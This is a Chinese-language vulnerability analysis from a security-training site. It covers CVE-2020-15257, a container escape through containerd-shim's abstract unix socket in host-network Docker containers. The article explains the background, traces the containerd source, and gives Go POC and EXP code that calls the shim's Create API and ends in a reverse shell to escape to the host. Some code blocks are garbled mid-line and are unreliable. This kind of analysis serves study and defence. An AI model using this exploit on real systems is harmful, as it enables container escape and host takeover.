网盾网络安全培训
网盾网络安全培训
投稿

Docker-CVE-2020-15257

访客 343 0
本文来源:星阑科技

知识分类

unix域套接字

在Linux系统中存在着一种unix域套接字，其作用是为了进程间通信，其使用方法类似于普通的socket套接字，只不过使用socket函数的时候域设置为AF_UNIX，同时套接字的类型分为：流套接字（SOCK_STREAM）和数据报套接字（SOCK_DGRAM）。

socket创建文件描述符之后，需要用bind进行本地端口绑定，此时需要初始化一个sockaddr_un的结构体：

struct sockaddr_un {
    sa_family sun_family;
    char sun_path[180];
}

结构体的第二个字段就是文件路径，它也分为两种：

1. 普通的文件路径：它是一个合法的Linux文件路径，当不需要这个套接字的时候需要删除文件。

2. 抽象名字空间路径：以NULL开始可以以任何结尾，同时文件系统上面没有具体的文件和它相对应，在关闭的时候会自动消失。

docker网络模式

Docker run 运行容器的时候可以使用--network选定指定的网络模式。

1. none模式：这种模式下内部只有loopback回环网络，没有其他网卡，不能访问外网，是一种封闭的网络。

2. container模式：这种模式与其它的container共享网络。

3. Bridge模式：docker默认的网络模式，会为每一个容器分配一个网络命名空间，设置IP，保证容器内部的进程使用独立的网络环境，使得容器与容器之间，容器与宿主机之前存在网络隔离。

4. host模式：这种模式下，容器和宿主机是没用网络隔离的，他们共用一个网络命名空间，容器的配置和主机是完全一样的。

go中的gRPC服务

gRPC是google开源的一款高性能的RPC框架。其中主要包含四种请求/相应模式：

  • 普通RPC

  • 服务端流式RPC

  • 客户端流式RPC

  • 服务端/客户端双向流式RPC

对于RPC来说，其一般简历在HTTP协议或者TCP协议之上，作为一个框架，它使得开发者可以不用考虑网络协议，连接，等内容，只需要通过RPC去实现客户端和服务端。

如果使用gPRC，那么可以将服务定义在.proto文件中，然后用一种支持gRPC的语言（比如go）去实现客户端和服务端，这可以使客户端和服务端运行在不同的环境中，同时gRPC具备高效的序列化和反序列化，接口等。

本文中Containerd-shim的api就是通过gRPC的方式实现的。

Demo:

syntax = "proto3";  // 代表使用proto3的语法
package protos;

// The greeting service definition.
service Greeter { // 通过service关键字可以定义一个Greeter服务
        // Sends a greeting
        rpc SayHello (HelloRequest) returns (HelloReply) {} // 服务中定义的方法，该方法接受一个HelloRequest类型的消息，并返回一个HelloReply类型的消息。
}


// The request message containing the user's name.
message HelloRequest { // message关键字定义了一个HelloRequest类型的消息结构
        string name = 1; // 这里的 = 1，1代表的是字段的编号，这个字段的编号是一个唯一的数字，作用是在二进制消息体中表示字段用。
}

// The response message containing the greetings
message HelloReply { // message关键字定义了一个HelloReply的消息结构是什么样的
        string message = 1;
}

编译命令：

protoc --go_out=plugins=grpc:. helloworld.proto

编译器会根据.proto文件中定义的消息和服务生成对应的代码，接下来就可以编写服务端代码和客户端代码来实现具体的功能了。

漏洞分析

容器在host模式下与宿主机共用一套Network Namespace ，该条件下containerd-shim API暴露给了用户，对于containerd-shim的访问控制仅仅验证进程的UID是否为0，但是没有限制对抽象Unix域套接字的访问，因此当一个Root权限的容器开启了host网络模式就可能造成容器逃逸。

在docker 1.11版本中，单一的Docker Daemon拆分成为了4个独立的模块：Docker Daemon, containerd, containerd-shim, runC，  containred是为了兼容OCI标准将Docker Daemon中容器运行时及其管理剥离了出来，形成了containerd，containerd向上提供接口和Docker Daemon交互，向下通过containerd-shim结合runC实现对容器的管理控制，不过containerd 提供了可用于和其进行交互的API和客户端应用程序ctr，所以即使没有Dcoker Daemon，也可以直接通过containerd来运行管理容器。

Docker-CVE-2020-15257-第1张图片-网盾网络安全培训

每次启动一个容器都会创建一个containerd-shim进程，它通过容器id, bundle目录，运行时二进制文件路径来调用运行时的API创建和运行容器，该进程会一直存在到容器实例进程退出为止，最后将容器的退出状态返回给containerd。

对于该CVE来说，因为containerd-shim的api接口是unix域套接字实现的，在使用过程中containerd 传递Unix 域套接字描述符给containerd-shim，containerd-shim在启动之后，会基于父进程传递的unix域套接字文件描述符建立gRPC服务，对外暴露一些API用于container,task的控制。但是在这个过程中暴露了一些可以被利用到的api。

containerd创建的unix域套接字如下,首先生成一个地址，在newSocket中以抽象地址的方式建立套接字：

func (b *bundle) shimAddress(namespace string) string {
        d := sha256.Sum256([]byte(filepath.Join(namespace, b.id)))
        return filepath.Join(string(filepath.Separator), "containerd-shim", fmt.Sprintf("%x.sock", d))
}
func newSocket(address string) (*net.UnixListener, error) {
        if len(address) > 106 {
                return nil, errors.Errorf("%q: unix socket path too long (> 106)", address)
        }
        l, err := net.Listen("unix", "\x00"+address)
        if err != nil {
                return nil, errors.Wrapf(err, "failed to listen to abstract unix socket %q", address)
        }

        return l.(*net.UnixListener), nil
}

此时container-shim作为Server向外提供的服务如下：

// Shim service is launched for each container and is responsible for owning the IO
// for the container and its additional processes.  The shim is also the parent of
// each container and allows reattaching to the IO and receiving the exit status
// for the container processes.
service Shim {
        // State returns shim and task state information.
        rpc State(StateRequest) returns (StateResponse);
        rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
        rpc Start(StartRequest) returns (StartResponse);
        rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
        rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);
        rpc ListPids(ListPidsRequest) returns (ListPidsResponse);
        rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);
        rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);
        rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);
        rpc Kill(KillRequest) returns (google.protobuf.Empty);
        rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);
        rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);
        rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);
        // ShimInfo returns information about the shim.
        rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);
        rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);
        rpc Wait(WaitRequest) returns (WaitResponse);
}

container作为client可以调用container-shim提供的api进而实现对容器的管理。漏洞就出现在对于unix域套接字的访问控制上面，因为unix域套接字本身是没有权限规则的，因此容器就利用进程的UID，GID做访问控制，限定EUID==0 err != nil { return nil, nil, errors.Wrap(err, "remove already used socket") } if socket, err = newSocket(address); err != nil { return nil, nil, err .....................

该函数返回一个client，然后再向上回溯发现是ShimRemote函数进行了调用：

// ShimRemote is a ShimOpt for connecting and starting a remote shim
func ShimRemote(c *Config, daemonAddress, cgroup string, exitHandler func()) ShimOpt {
        return func(b *bundle, ns string, ropts *runctypes.RuncOptions) (shim.Config, client.Opt) {
                config := b.shimConfig(ns, c, ropts)
                return config,
                        client.WithStart(c.Shim, b.shimAddress(ns, daemonAddress), daemonAddress, cgroup, c.ShimDebug, exitHandler)
        }
}

再次向上回溯发现是Create函数进行了调用：

func (r *Runtime) Create(ctx context.Context, id string, opts runtime.CreateOpts) (_ runtime.Task, err error) {
        namespace, err := namespaces.NamespaceRequired(ctx)
        if err != nil {
                return nil, err
        }

        if err := identifiers.Validate(id); err != nil {
                return nil, errors.Wrapf(err, "invalid task id")
        }

        ropts, err := r.getRuncOptions(ctx, id)
        if err != nil {
                return nil, err
        }

        bundle, err := newBundle(id,
                filepath.Join(r.state, namespace),
                filepath.Join(r.root, namespace),
                opts.Spec.Value)
        if err != nil {
                return nil, err
        }
        defer func() {
                if err != nil {
                        bundle.Delete()
                }
        }()
     ......................

到此，我们知道了containerd是如何使用containerd-shim的，因此我们可以在容器内与containerd-shim建立通信实现利用：

POC

package main

import (
        "context"
        "errors"
        "io/ioutil"
        "log"
        "net"
        "regexp"
        "strings"

        "github.com/containerd/ttrpc"
        "github.com/gogo/protobuf/types"
)

func exp(sock string) bool {
        sock = strings.Replace(sock, "@", "", -1)
        conn, err := net.Dial("unix", "\x00"+sock)
        if err != nil {
                log.Println(err)
                return false
        }

        client := ttrpc.NewClient(conn)
        shimClient := NewShimClient(client)
        ctx := context.Background()
        info, err := shimClient.ShimInfo(ctx,  ok {
                        continue
                }
                log.Println("try socket:", sockname)
                matchset[sockname] = true
                if exp(sockname) {
                        break
                }
        }

        return
}

1. 首先在/proc/net/unix 里面匹配到目标套接字。

2. 利用之前在Docker源码中找到的使用containerd-shim的方式建立client。

3. 调用API成功。

EXP

package main
import (
        "context"
        "errors"
        "io/ioutil"
        "log"
        "net"
        "regexp"
        "strings"

        types1 "github.com/containerd/containerd/api/types"
        "github.com/containerd/ttrpc"
)
func exp(sock string, containerid string, hostPath string) bool {
        sock = strings.Replace(sock, "@", "", -1)
        conn, err := net.Dial("unix", "\x00"+sock)
        if err != nil {
                log.Println(err)
                return false
        }
        client := ttrpc.NewClient(conn)
        shimClient := NewShimClient(client)
        ctx := context.Background()
        info, err := shimClient.State(ctx,  ok {
                        continue
                }
                log.Println("try socket:", sockname)
                matchset[sockname] = true
                if exp(sockname, containerid, hostPath) {
                        break
                }
        }
        return
}

1. 首先在容器的根目录下创建一个shell文件。

2. 在/proc/self/cgroup中进行正则匹配获得ContainerID。

3. 通过/proc/mount 可以获得hostpath，通过这个路径我们可以在宿主机上面访问到容器中的文件，这样可以利用Containerd-shim启动一个host主机上面的进程。

Docker-CVE-2020-15257-第2张图片-网盾网络安全培训4. 利用containerd-shim的Create的API实现反弹shell，成功实现逃逸。

Docker-CVE-2020-15257-第3张图片-网盾网络安全培训

参考链接

https://bestwing.me/CVE-2020-15257-anaylysis.html

https://github.com/summershrimp/exploits-open/blob/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257/main.go

https://win-man.github.io/2020/03/29/049-go-grpc/

标签： 漏洞挖掘 漏洞分析 Docker

版权声明：除非特别标注，否则均为本站原创文章，转载时请以链接形式注明文章出处。

上一篇RedLine借奥密克戎肆虐进行传播，窃取用户信息

下一篇跨平台恶意后门 SysJoker 行为分析及解码

相关文章

发表评论 （已有0条评论）

还木有评论哦，快来抢沙发吧~